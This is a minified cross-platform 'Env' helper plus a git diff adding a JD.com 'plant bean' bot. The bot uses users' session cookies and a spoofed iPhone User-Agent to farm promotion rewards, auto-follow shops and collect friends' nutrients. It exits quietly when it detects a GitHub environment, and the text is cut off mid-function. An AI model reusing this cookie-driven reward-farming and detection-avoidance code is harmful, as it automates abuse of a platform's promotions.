Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_plantBean.js b/jd_plantBean.js new file mode 100644 index 0000000..412733f --- /dev/null +++ b/jd_plantBean.js @@ -0,0 +1,746 @@ +/* +种豆得豆 脚本更新地址:jd_plantBean.js +更新时间:2021-08-20 +活动入口:京东APP我的-更多工具-种豆得豆 +已支持IOS京东多账号,云端多京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +注:会自动关注任务中的店铺跟商品,介意者勿使用。 +互助码shareCode请先手动运行脚本查看打印可看到 +每个京东账号每天只能帮助3个人。多出的助力码将会助力失败。 + +=====================================Quantumult X================================= +[task_local] +1 7-21/2 * * * https://raw.githubusercontent.com/KingRan/JDJB/main/jd_plantBean.js, tag=种豆得豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzd.png, enabled=true + +=====================================Loon================================ +[Script] +cron "1 7-21/2 * * *" script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_plantBean.js,tag=京东种豆得豆 + +======================================Surge========================== +京东种豆得豆 = type=cron,cronexp="1 7-21/2 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_plantBean.js + +====================================小火箭============================= +京东种豆得豆 = type=cron,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_plantBean.js, cronexpr="1 7-21/2 * * *", timeout=3600, enable=true + +*/ +const $ = new Env('种豆得豆'); +//Node.js用户请在jdCookie.js处填写京东ck; +//ios等软件用户直接用NobyDa的jd cookie +let jdNotify = true;//是否开启静默运行。默认true开启 +let cookiesArr = [], cookie = '', jdPlantBeanShareArr = [], isBox = false, notify, newShareCodes, option, message, subTitle; +//京东接口地址 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +//助力好友分享码(最多3个,否则后面的助力失败) +//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 +//下面给出两个账号的填写示例(iOS只支持2个京东账号) +let shareCodes = [] +let allMessage = ``; +let currentRoundId = null;//本期活动id +let lastRoundId = null;//上期id +let roundList = []; +let awardState = '';//上期活动的京豆是否收取 +let randomCount = $.isNode() ? 20 : 5; +let num; +let llerror=false; +$.newShareCode = []; +let NowHour = new Date().getHours(); +let lnrun = 0; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + lnrun++; + await jdPlantBean(); + if(lnrun == 3){ + console.log(`\n【访问接口次数达到3次,休息一分钟.....】\n`); + await $.wait(60*1000); + lnrun = 0; + } + //await showMsg(); + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +async function jdPlantBean() { + try { + console.log(`获取任务及基本信息`) + await plantBeanIndex(); + if(llerror) + return; + for (let i = 0; i < $.plantBeanIndexResult.data.roundList.length; i++) { + if ($.plantBeanIndexResult.data.roundList[i].roundState === "2") { + num = i + break + } + } + // console.log(plantBeanIndexResult.data.taskList); + if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0' && $.plantBeanIndexResult.data) { + const shareUrl = $.plantBeanIndexResult.data.jwordShareInfo.shareUrl + $.myPlantUuid = getParam(shareUrl, 'plantUuid') + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.myPlantUuid}\n`); + jdPlantBeanShareArr.push($.myPlantUuid) + + roundList = $.plantBeanIndexResult.data.roundList; + currentRoundId = roundList[num].roundId;//本期的roundId + lastRoundId = roundList[num - 1].roundId;//上期的roundId + awardState = roundList[num - 1].awardState; + $.taskList = $.plantBeanIndexResult.data.taskList; + subTitle = `【京东昵称】${$.plantBeanIndexResult.data.plantUserInfo.plantNickName}`; + message += `【上期时间】${roundList[num - 1].dateDesc.replace('上期 ', '')}\n`; + message += `【上期成长值】${roundList[num - 1].growth}\n`; + await $.wait(1000); + await receiveNutrients();//定时领取营养液 + await $.wait(2000); + await doTask();//做日常任务 + await $.wait(5000); + // await doEgg(); + await stealFriendWater(); + await $.wait(2000); + await doCultureBean(); + await $.wait(1000); + await doGetReward(); + await $.wait(1000); + await showTaskProcess(); + await $.wait(1000); + await plantShareSupportList(); + await $.wait(1000); + } else { + console.log(`种豆得豆-初始失败: ${JSON.stringify($.plantBeanIndexResult)}`); + } + } catch (e) { + $.logErr(e); + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + // if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } +} +async function doGetReward() { + console.log(`【上轮京豆】${awardState === '4' ? '采摘中' : awardState === '5' ? '可收获了' : '已领取'}`); + if (awardState === '4') { + //京豆采摘中... + message += `【上期状态】${roundList[num - 1].tipBeanEndTitle}\n`; + } else if (awardState === '5') { + //收获 + await getReward(); + console.log('开始领取京豆'); + if ($.getReward && $.getReward.code === '0') { + console.log('京豆领取成功'); + message += `【上期兑换京豆】${$.getReward.data.awardBean}个\n`; + $.msg($.name, subTitle, message); + allMessage += `京东账号${$.index} ${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}` + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}`, `京东账号${$.index} ${$.nickName}\n${message}`); + // } + } else { + console.log(`$.getReward 异常:${JSON.stringify($.getReward)}`) + } + } else if (awardState === '6') { + //京豆已领取 + message += `【上期兑换京豆】${roundList[num - 1].awardBeans}个\n`; + } + if (roundList[num].dateDesc.indexOf('本期 ') > -1) { + roundList[num].dateDesc = roundList[num].dateDesc.substr(roundList[num].dateDesc.indexOf('本期 ') + 3, roundList[num].dateDesc.length); + } + message += `【本期时间】${roundList[num].dateDesc}\n`; + message += `【本期成长值】${roundList[num].growth}\n`; +} +async function doCultureBean() { + await plantBeanIndex(); + if(llerror) + return; + if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0' && $.plantBeanIndexResult.data) { + const plantBeanRound = $.plantBeanIndexResult.data.roundList[num] + if (plantBeanRound.roundState === '2') { + //收取营养液 + if (plantBeanRound.bubbleInfos && plantBeanRound.bubbleInfos.length) console.log(`开始收取营养液`) + for (let bubbleInfo of plantBeanRound.bubbleInfos) { + console.log(`收取-${bubbleInfo.name}-的营养液`) + await cultureBean(plantBeanRound.roundId, bubbleInfo.nutrientsType) + console.log(`收取营养液结果:${JSON.stringify($.cultureBeanRes)}`) + } + } + } else { + console.log(`plantBeanIndexResult:${JSON.stringify($.plantBeanIndexResult)}`) + } +} +async function stealFriendWater() { + await stealFriendList(); + if ($.stealFriendList && $.stealFriendList.code === '0') { + if ($.stealFriendList.data && $.stealFriendList.data.tips) { + console.log('\n\n今日偷取好友营养液已达上限\n\n'); + return + } + if ($.stealFriendList.data && $.stealFriendList.data.friendInfoList && $.stealFriendList.data.friendInfoList.length > 0) { + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); + for (let item of $.stealFriendList.data.friendInfoList) { + if (new Date(nowTimes).getHours() === 20) { + if (item.nutrCount >= 2) { + // console.log(`可以偷的好友的信息::${JSON.stringify(item)}`); + console.log(`可以偷的好友的信息paradiseUuid::${JSON.stringify(item.paradiseUuid)}`); + await collectUserNutr(item.paradiseUuid); + console.log(`偷取好友营养液情况:${JSON.stringify($.stealFriendRes)}`) + if ($.stealFriendRes && $.stealFriendRes.code === '0') { + console.log(`偷取好友营养液成功`) + } + } + } else { + if (item.nutrCount >= 3) { + // console.log(`可以偷的好友的信息::${JSON.stringify(item)}`); + console.log(`可以偷的好友的信息paradiseUuid::${JSON.stringify(item.paradiseUuid)}`); + await collectUserNutr(item.paradiseUuid); + console.log(`偷取好友营养液情况:${JSON.stringify($.stealFriendRes)}`) + if ($.stealFriendRes && $.stealFriendRes.code === '0') { + console.log(`偷取好友营养液成功`) + } + } + } + } + } + } else { + console.log(`$.stealFriendList 异常: ${JSON.stringify($.stealFriendList)}`) + } +} +async function doEgg() { + await egg(); + if ($.plantEggLotteryRes && $.plantEggLotteryRes.code === '0') { + if ($.plantEggLotteryRes.data.restLotteryNum > 0) { + const eggL = new Array($.plantEggLotteryRes.data.restLotteryNum).fill(''); + console.log(`目前共有${eggL.length}次扭蛋的机会`) + for (let i = 0; i < eggL.length; i++) { + console.log(`开始第${i + 1}次扭蛋`); + await plantEggDoLottery(); + console.log(`天天扭蛋成功:${JSON.stringify($.plantEggDoLotteryResult)}`); + } + } else { + console.log('暂无扭蛋机会') + } + } else { + console.log('查询天天扭蛋的机会失败' + JSON.stringify($.plantEggLotteryRes)) + } +} +async function doTask() { + if ($.taskList && $.taskList.length > 0) { + for (let item of $.taskList) { + if (item.isFinished === 1) { + console.log(`${item.taskName} 任务已完成\n`); + continue; + } else { + if (item.taskType === 8) { + console.log(`\n【${item.taskName}】任务未完成,需自行手动去京东APP完成,${item.desc}营养液\n`) + } else { + console.log(`\n【${item.taskName}】任务未完成,${item.desc}营养液\n`) + } + } + if (item.dailyTimes === 1 && item.taskType !== 8) { + console.log(`\n开始做 ${item.taskName}任务`); + // $.receiveNutrientsTaskRes = await receiveNutrientsTask(item.taskType); + await receiveNutrientsTask(item.taskType); + await $.wait(3000); + console.log(`做 ${item.taskName}任务结果:${JSON.stringify($.receiveNutrientsTaskRes)}\n`); + } + if (item.taskType === 3) { + //浏览店铺 + console.log(`开始做 ${item.taskName}任务`); + let unFinishedShopNum = item.totalNum - item.gainedNum; + if (unFinishedShopNum === 0) { + continue + } + await shopTaskList(); + const { data } = $.shopTaskListRes; + let goodShopListARR = [], moreShopListARR = [], shopList = []; + if (!data.goodShopList) { + data.goodShopList = []; + } + if (!data.moreShopList) { + data.moreShopList = []; + } + const { goodShopList, moreShopList } = data; + for (let i of goodShopList) { + if (i.taskState === '2') { + goodShopListARR.push(i); + } + } + for (let j of moreShopList) { + if (j.taskState === '2') { + moreShopListARR.push(j); + } + } + shopList = goodShopListARR.concat(moreShopListARR); + for (let shop of shopList) { + const { shopId, shopTaskId } = shop; + const body = { + "monitor_refer": "plant_shopNutrientsTask", + "shopId": shopId, + "shopTaskId": shopTaskId + } + const shopRes = await requestGet('shopNutrientsTask', body); + console.log(`shopRes结果:${JSON.stringify(shopRes)}`); + if (shopRes && shopRes.code === '0') { + if (shopRes.data && shopRes.data.nutrState && shopRes.data.nutrState === '1') { + unFinishedShopNum --; + } + } + if (unFinishedShopNum <= 0) { + console.log(`${item.taskName}任务已做完\n`) + break; + } + } + } + if (item.taskType === 5) { + //挑选商品 + console.log(`开始做 ${item.taskName}任务`); + let unFinishedProductNum = item.totalNum - item.gainedNum; + if (unFinishedProductNum === 0) { + continue + } + await productTaskList(); + // console.log('productTaskList', $.productTaskList); + const { data } = $.productTaskList; + let productListARR = [], productList = []; + const { productInfoList } = data; + for (let i = 0; i < productInfoList.length; i++) { + for (let j = 0; j < productInfoList[i].length; j++) { + productListARR.push(productInfoList[i][j]); + } + } + for (let i of productListARR) { + if (i.taskState === '2') { + productList.push(i); + } + } + for (let product of productList) { + const { skuId, productTaskId } = product; + const body = { + "monitor_refer": "plant_productNutrientsTask", + "productTaskId": productTaskId, + "skuId": skuId + } + const productRes = await requestGet('productNutrientsTask', body); + if (productRes && productRes.code === '0') { + // console.log('nutrState', productRes) + //这里添加多重判断,有时候会出现活动太火爆的问题,导致nutrState没有 + if (productRes.data && productRes.data.nutrState && productRes.data.nutrState === '1') { + unFinishedProductNum--; + } + } + if (unFinishedProductNum <= 0) { + console.log(`${item.taskName}任务已做完\n`) + break; + } + } + } + if (item.taskType === 10) { + //关注频道 + console.log(`开始做 ${item.taskName}任务`); + let unFinishedChannelNum = item.totalNum - item.gainedNum; + if (unFinishedChannelNum === 0) { + continue + } + await plantChannelTaskList(); + const { data } = $.plantChannelTaskList; + // console.log('goodShopList', data.goodShopList); + // console.log('moreShopList', data.moreShopList); + let goodChannelListARR = [], normalChannelListARR = [], channelList = []; + const { goodChannelList, normalChannelList } = data; + for (let i of goodChannelList) { + if (i.taskState === '2') { + goodChannelListARR.push(i); + } + } + for (let j of normalChannelList) { + if (j.taskState === '2') { + normalChannelListARR.push(j); + } + } + channelList = goodChannelListARR.concat(normalChannelListARR); + for (let channelItem of channelList) { + const { channelId, channelTaskId } = channelItem; + const body = { + "channelId": channelId, + "channelTaskId": channelTaskId + } + const channelRes = await requestGet('plantChannelNutrientsTask', body); + console.log(`channelRes结果:${JSON.stringify(channelRes)}`); + if (channelRes && channelRes.code === '0') { + if (channelRes.data && channelRes.data.nutrState && channelRes.data.nutrState === '1') { + unFinishedChannelNum--; + } + } + if (unFinishedChannelNum <= 0) { + console.log(`${item.taskName}任务已做完\n`) + break; + } + } + } + } + } +} +function showTaskProcess() { + return new Promise(async resolve => { + await plantBeanIndex(); + if(llerror) + return; + if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0' && $.plantBeanIndexResult.data) { + $.taskList = $.plantBeanIndexResult.data.taskList; + if ($.taskList && $.taskList.length > 0) { + console.log(" 任务 进度"); + for (let item of $.taskList) { + console.log(`[${item["taskName"]}] ${item["gainedNum"]}/${item["totalNum"]} ${item["isFinished"]}`); + } + } + } else { + console.log(`plantBeanIndexResult:${JSON.stringify($.plantBeanIndexResult)}`) + } + resolve() + }) +} + +function showMsg() { + $.log(`\n${message}\n`); + jdNotify = $.getdata('jdPlantBeanNotify') ? $.getdata('jdPlantBeanNotify') : jdNotify; + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, subTitle, message); + } +} +// ================================================此处是API================================= +//每轮种豆活动获取结束后,自动收取京豆 +async function getReward() { + const body = { + "roundId": lastRoundId + } + $.getReward = await request('receivedBean', body); +} +//收取营养液 +async function cultureBean(currentRoundId, nutrientsType) { + let functionId = arguments.callee.name.toString(); + let body = { + "roundId": currentRoundId, + "nutrientsType": nutrientsType, + } + $.cultureBeanRes = await request(functionId, body); +} +//偷营养液大于等于3瓶的好友 +//①查询好友列表 +async function stealFriendList() { + const body = { + pageNum: '1' + } + $.stealFriendList = await request('plantFriendList', body); +} + +//②执行偷好友营养液的动作 +async function collectUserNutr(paradiseUuid) { + console.log('开始偷好友'); + // console.log(paradiseUuid); + let functionId = arguments.callee.name.toString(); + const body = { + "paradiseUuid": paradiseUuid, + "roundId": currentRoundId + } + $.stealFriendRes = await request(functionId, body); +} +async function receiveNutrients() { + $.receiveNutrientsRes = await request('receiveNutrients', { "roundId": currentRoundId, "monitor_refer": "plant_receiveNutrients" }) + // console.log(`定时领取营养液结果:${JSON.stringify($.receiveNutrientsRes)}`) +} +async function plantEggDoLottery() { + $.plantEggDoLotteryResult = await requestGet('plantEggDoLottery'); +} +//查询天天扭蛋的机会 +async function egg() { + $.plantEggLotteryRes = await requestGet('plantEggLotteryIndex'); +} +async function productTaskList() { + let functionId = arguments.callee.name.toString(); + $.productTaskList = await requestGet(functionId, { "monitor_refer": "plant_productTaskList" }); +} +async function plantChannelTaskList() { + let functionId = arguments.callee.name.toString(); + $.plantChannelTaskList = await requestGet(functionId); + // console.log('$.plantChannelTaskList', $.plantChannelTaskList) +} +async function shopTaskList() { + let functionId = arguments.callee.name.toString(); + $.shopTaskListRes = await requestGet(functionId, { "monitor_refer": "plant_receiveNutrients" }); + // console.log('$.shopTaskListRes', $.shopTaskListRes) +} +async function receiveNutrientsTask(awardType) { + const functionId = arguments.callee.name.toString(); + const body = { + "monitor_refer": "receiveNutrientsTask", + "awardType": `${awardType}`, + } + $.receiveNutrientsTaskRes = await requestGet(functionId, body); +} +async function plantShareSupportList() { + $.shareSupportList = await requestGet('plantShareSupportList', { "roundId": "" }); + if ($.shareSupportList && $.shareSupportList.code === '0') { + const { data } = $.shareSupportList; + //当日北京时间0点时间戳 + const UTC8_Zero_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + //次日北京时间0点时间戳 + const UTC8_End_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 + (24 * 60 * 60 * 1000); + let friendList = []; + data.map(item => { + if (UTC8_Zero_Time <= item['createTime'] && item['createTime'] < UTC8_End_Time) { + friendList.push(item); + } + }) + message += `【助力您的好友】共${friendList.length}人`; + } else { + console.log(`异常情况:${JSON.stringify($.shareSupportList)}`) + } +} +//助力好友的api +async function helpShare(plantUuid) { + console.log(`\n开始助力好友: ${plantUuid}`); + const body = { + "plantUuid": plantUuid, + "wxHeadImgUrl": "", + "shareUuid": "", + "followType": "1", + } + $.helpResult = await request(`plantBeanIndex`, body); + console.log(`助力结果的code:${$.helpResult && $.helpResult.code}`); +} +async function plantBeanIndex() { + llerror=false; + $.plantBeanIndexResult = await request('plantBeanIndex'); //plantBeanIndexBody + if ($.plantBeanIndexResult.errorCode === 'PB101') { + console.log(`\n活动太火爆了,还是去买买买吧!\n`) + llerror=true; + return + } + if ($.plantBeanIndexResult.errorCode) { + console.log(`获取任务及基本信息出错,10秒后重试\n`) + await $.wait(10000); + $.plantBeanIndexResult = await request('plantBeanIndex'); + if ($.plantBeanIndexResult.errorCode === 'PB101') { + console.log(`\n活动太火爆了,还是去买买买吧!\n`) + llerror=true; + return + } + } + if ($.plantBeanIndexResult.errorCode) { + console.log(`获取任务及基本信息出错,30秒后重试\n`) + await $.wait(30000); + $.plantBeanIndexResult = await request('plantBeanIndex'); + if ($.plantBeanIndexResult.errorCode === 'PB101') { + console.log(`\n活动太火爆了,还是去买买买吧!\n`) + llerror=true; + return + } + } + if ($.plantBeanIndexResult.errorCode) { + console.log(`获取任务及基本信息失败,活动异常,换个时间再试试吧....`) + console.log("错误代码;" + $.plantBeanIndexResult.errorCode) + llerror=true; + return + } +} +function requireConfig() { + return new Promise(resolve => { + //console.log('开始获取种豆得豆配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + const jdPlantBeanShareCodes = ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(jdPlantBeanShareCodes).forEach((item) => { + if (jdPlantBeanShareCodes[item]) { + $.shareCodesArr.push(jdPlantBeanShareCodes[item]) + } + }) + } else { + if ($.getdata('jd_plantbean_inviter')) $.shareCodesArr = $.getdata('jd_plantbean_inviter').split('\n').filter(item => !!item); + //console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_plantbean_inviter') ? $.getdata('jd_plantbean_inviter') : '暂无'}\n`); + } + // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); + //console.log(`您提供了${$.shareCodesArr.length}个账号的种豆得豆助力码\n`); + resolve() + }) +} +function requestGet(function_id, body = {}) { + if (!body.version) { + body["version"] = "9.0.0.1"; + } + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return new Promise(async resolve => { + await $.wait(5000); + const option = { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': 'JD4iPhone/167283 (iPhone;iOS 13.6.1;Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded" + }, + timeout: 10000, + }; + $.get(option, (err, resp, data) => { + try { + if (err) { + console.log('\n种豆得豆: API查询请求失败 ‼️‼️') + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": 